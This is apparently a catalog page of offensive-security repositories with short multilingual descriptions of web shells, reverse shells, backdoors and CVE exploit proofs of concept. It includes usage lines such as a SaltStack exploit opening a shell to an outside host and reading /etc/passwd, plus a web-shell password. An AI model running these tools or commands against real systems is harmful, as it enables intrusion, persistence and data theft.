joro

Joro 攻撃的セキュリティ専門家向けのWebエクスプロイテーションフレームワーク。インターセプトプロキシ、ブラインド脆弱性検出、Webシェル生成、C2統合、コラボレーションツールを、組み込みのWeb UIを備えた単一バイナリにまとめています。 警告: このツールは、許可されたペネトレーションテストおよびセキュリティ研究のみを目的としています。Joroは、自分が所有するシステム、または明示的な書面によるテスト許可を得たシステムに対してのみ使用してください。コンピュータシステムへの不正アクセスは違法です。Bishop...

CVE-2022-44877-white-box

Docs Paper : https://docs.google.com/document/d/1rQ7e9i2AFzHbASfRu3nkgjIswbrS2AB2i7V9OK3dJLs/edit?usp=sharing Libprochider : https://github.com/gianlucaborello/libprocesshider /var/www/html YouTube Demo : https://www.youtube.com/watch?v=V0HgzE8IElA&t=343s テスト済みマシン CentOS 7 - CentOS Web Panel...

smtpshell

smtpshell Gmail SMTP 또는 다른 SMTP를 통해 통신하여 네트워크 제한을 우회하는 간단한 리버스 셸 참고: 이 리버스 셸은 Gmail SMTP를 통해 통신합니다 또는 다른 SMTP도 사용 가능. 하지만 Gmail SMTP가 유효한 이유는 대부분의 회사에서 알 수 없는 트래픽을 차단하기 때문에 Gmail 트래픽은 유효하며 모든 곳에서 허용됩니다. 경고: 1. VirusTotal.com에 페이로드를 업로드하지 마십시오. 이 도구는 시간이 지나면 작동하지 않습니다. 2. VirusTotal은 AV 회사들과 서명을...

ShellUpload

ShellUpload kurosava.php kurosava.php は悪意のあるPHPウェブシェルアップローダーです。...

AgentMemshell

AgentMemshell MemShellParty를 기반으로 한 Agent 메모리쉘 포크fork로, 주요 운영체제와 호환되도록 하였으며, JDK 전체 버전에서 반환 없는 명령 실행 시나리오에서 모든 Java 프로세스에 메모리쉘을 주입할 수 있도록 합니다. 현재는 Tomcat 미들웨어만 구현되어 있으며, 프로젝트에 일정 수의 Star가 쌓이면 지속적으로 업데이트를 진행할 예정입니다. TomcatEcho 파라미터 ekJUTPFN Godzilla 비밀번호: RIZpWiOg 키: QZgwCOfx 요청 헤더: User-Agent:...

CVE-2025-32463_POC

CVE-2025-32463 – sudo chroot（「chwoot」）PoC このリポジトリは、sudoのchroot機能におけるCVE‑2025‑32463 特権昇格の脆弱性を実証するための、最小限かつ再現可能な環境を提供します。 内容 ファイル| 目的 ---|--- Dockerfile| 脆弱なsudo 1.9.16p2 とビルドツールを含むUbuntu 24.04イメージをビルドします sudo‑chwoot.sh| chroot内でrootシェルを起動する概念実証エクスプロイト run.sh|...

CVE-2026-0073-PoC-Exploit

CVE-2026-0073 - Android ADB Wireless Debugging Auth Bypass Zero-Click | Remote Shell | Network Scanner | Educational Security Research Tool ETHICAL USE ONLY – AUTHORIZED SECURITY TESTING This repository provides tools for authorized security professionals, blue teams, and penetration testers only...

Shell3er

Shell3er Shell3er PowerShell 리버스 쉘 Shell3er 리버스 기능 Get-RandomProcessName 함수 Get-RandomProcessName 함수는 "PS"와 새 GUID를 연결하여 임의의 프로세스 이름을 생성합니다. 이는 고유하고 무작위로 보이는 프로세스 이름을 만들어 의심스러운 프로세스를 식별하기 어렵게 하는 데 사용됩니다. Run-BackgroundTask 함수 Run-BackgroundTask 함수는 ScriptBlock과 선택적 ProcessName을 매개변수로 받습니다. 그런 다음...

CVE-2025-14700-poc

CVE-2025-14700 POC Crafty Controller --login --password --lhost --lport このスクリプトは、リバースシェルペイロードをトリガーした後、netcat を使用してリスナーをセットアップします。リスナーマシンに netcat がない場合は機能しません。...

CVE-2018-17246

CVE-2018-17246 - Kibana LFI 入力検証が行われていないため、JavaScript ファイルの名前を任意のものに変更できます。この場合、パストラバーサル手法を使用して、Kibana サーバー上の任意のファイルを選択できます。 ただし、注意すべき点として、Node の モジュールキャッシング 機能があります。基本的に、LFI はサニタイズされていないユーザー入力を Node の require...

ImageTragick-CVE-2016-3714-RShell

ImageTragick-CVE-2016-3714-RShell これらは、bash、nc、php、その他のツールを使用してリバースシェルを構築するCVE-2016-3714のmvg/svg POCです。 宣言 研究および倫理的なハッキングの目的のみに使用してください... 使用方法 1. サーバー側 : nc -l - p port number 2. 脆弱性サイトに画像をアップロードする 謝辞 ding@virgoTeam が php reverse shell POC を提供してくれたことに感謝します。 参考文献 https://imagetragick.com/...

backcookie

backcookie Cookie を使用した小さなバックドア。 ========== Example one: python backcookie.py -u http://target.com/shell.php -c namecookie Example two: python backcookie.py --url http://target.com/shell.php --cookie namecookie カスタムコマンド binfo を使用すると、目的の情報が得られます。 @pwned:$ binfo カスタムコマンド exit で終了します。 @pwned:$ exit...

Onionscan

onionscan のデプロイ 注意！このリポジトリは https://github.com/s-rah/onionscan のパッチ版であり、hunchly の Google Cloud Shell から実行するように設計されています（ベースラインとして使用された https://github.com/hunchly/funchly/tree/main/onionscan をベースに、ローカルインスタンスにもデプロイできるように変更されています）。 Google Cloud Shell 上の onionscan 1. 無料の Cloud Shell アカウントを取得する:...

reverse-shell-generator

리버스 셸 생성기 호스티드 리버스 셸 생성기 — 다양한 기능 포함 CTF에 유용 호스팅 인스턴스 https://revshells.com 기능 일반적인 리스너 및 리버스 셸 생성 브라우저에서 페이로드를 다운로드하는 저장 버튼 Raw 모드로 셸을 cURL로 내 컴퓨터로 전송 리스닝 포트 번호를 1씩 증가시키는 버튼 URI 및 Base64 인코딩 설정을 유지하는 LocalStorage 다크, 라이트 및 밈 모드 HoaxShell 통합 및 맞춤 리스너 자세한 내용은 아래 링크 참조 | 출처:...

SaltStack-Exp

SaltStack-Exp CVE-2020-11651&&CVE-2020-11652 EXP Exec-Master: python exp.py --exec-choose master --exec-cmd "whoami" Exec-Minions: python exp.py --exec-choose minions --exec-cmd "whoami" GetShell: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444 ReadFile: python exp.py --read /etc/passwd...

CVE-2015-7547-Research

glibcエクスプロイト（CVE-2015-7547）に関する初期作業です。現時点では単にlibcへ戻り、シェルを提供するためにsystemを呼び出します。このバージョンはまだASLRを考慮していません。...

CVE-2021-44228-PoC

Log4ShellCVE-2021-44228로 리버스 셸을 실행하는 자체 포함 랩 환경 PoC 이것은 docker compose로 안전하게 익스플로잇을 실행하는 자체 포함 랩 환경입니다. 영향을 받는 버전은 Apache Log4j =2.0–2.14.1이며, CVE는 CVE-2021-44228CVSS 점수: 10.0로 추적됩니다. Apache Log4j를 가능한 한 빨리 버전 2.16+로 패치하세요!!! 사전 요구 사항 이 코드는 Docker와 Docker Compose가 필요합니다. 설명 Dockerfile 및...

metabase-pre-auth-rce-poc

Metabase Pre-Auth RCE（CVE-2023-38646）POC これは、Metabase のソフトウェアセキュリティの欠陥である CVE-2023-38646 を悪用することを可能にする Python スクリプトです。このシステムは、オープンソースエディションでは 0.46.6.1 より前のバージョン、エンタープライズエディションでは 1.46.6.1 より前のバージョンで脆弱です。 使用方法 スクリプトには、ターゲット URL 、セットアップトークン 、および実行されるコマンド が必要です。セットアップトークンは、/api/session/properties...

React2Shell-CVE-2025-55182-PoC-Reverse-Shell

🚀 React2Shell - CVE-2025–55182 漏洞利用脚本 🔥 简介 此仓库包含一个针对 React2Shell 漏洞（CVE-2025–55182）的利用脚本，该漏洞针对一种特定的 Node.js 原型污染 ，可导致远程代码执行（RCE） 。 该脚本专门设计用于通过向易受攻击的应用程序注入恶意载荷来建立 Netcat 反向 Shell 连接。 ⚠️ 免责声明 此工具仅供教育和研究目的 使用。 ⚙️ 前置条件 Python 3.x requests 库 安装 你可以使用 pip 安装所需的 Python 依赖项： pip install requests 🖥️ 使用方法...

shellstack

ShellStack 버전 1.0 ShellStack은 PHP 기반 백도어 관리 도구입니다. 이 도구는 자신이 해킹한 모든 웹사이트를 추적하고자 하는 "해커"에게 유용합니다. 이 도구는 백도어 파일을 생성하며, 이를 사이트에 업로드하고 도구 디렉토리의 shells.txt에 백도어 URL을 입력하기만 하면 됩니다. ShellStack으로 할 수 있는 것 PHP 쉘 가져오기 서버 정보 확인 터미널을 사용하여 시스템에서 파일 업로드 그리고 무엇보다 백도어를 효율적으로 관리 사용 방법 1. git clone...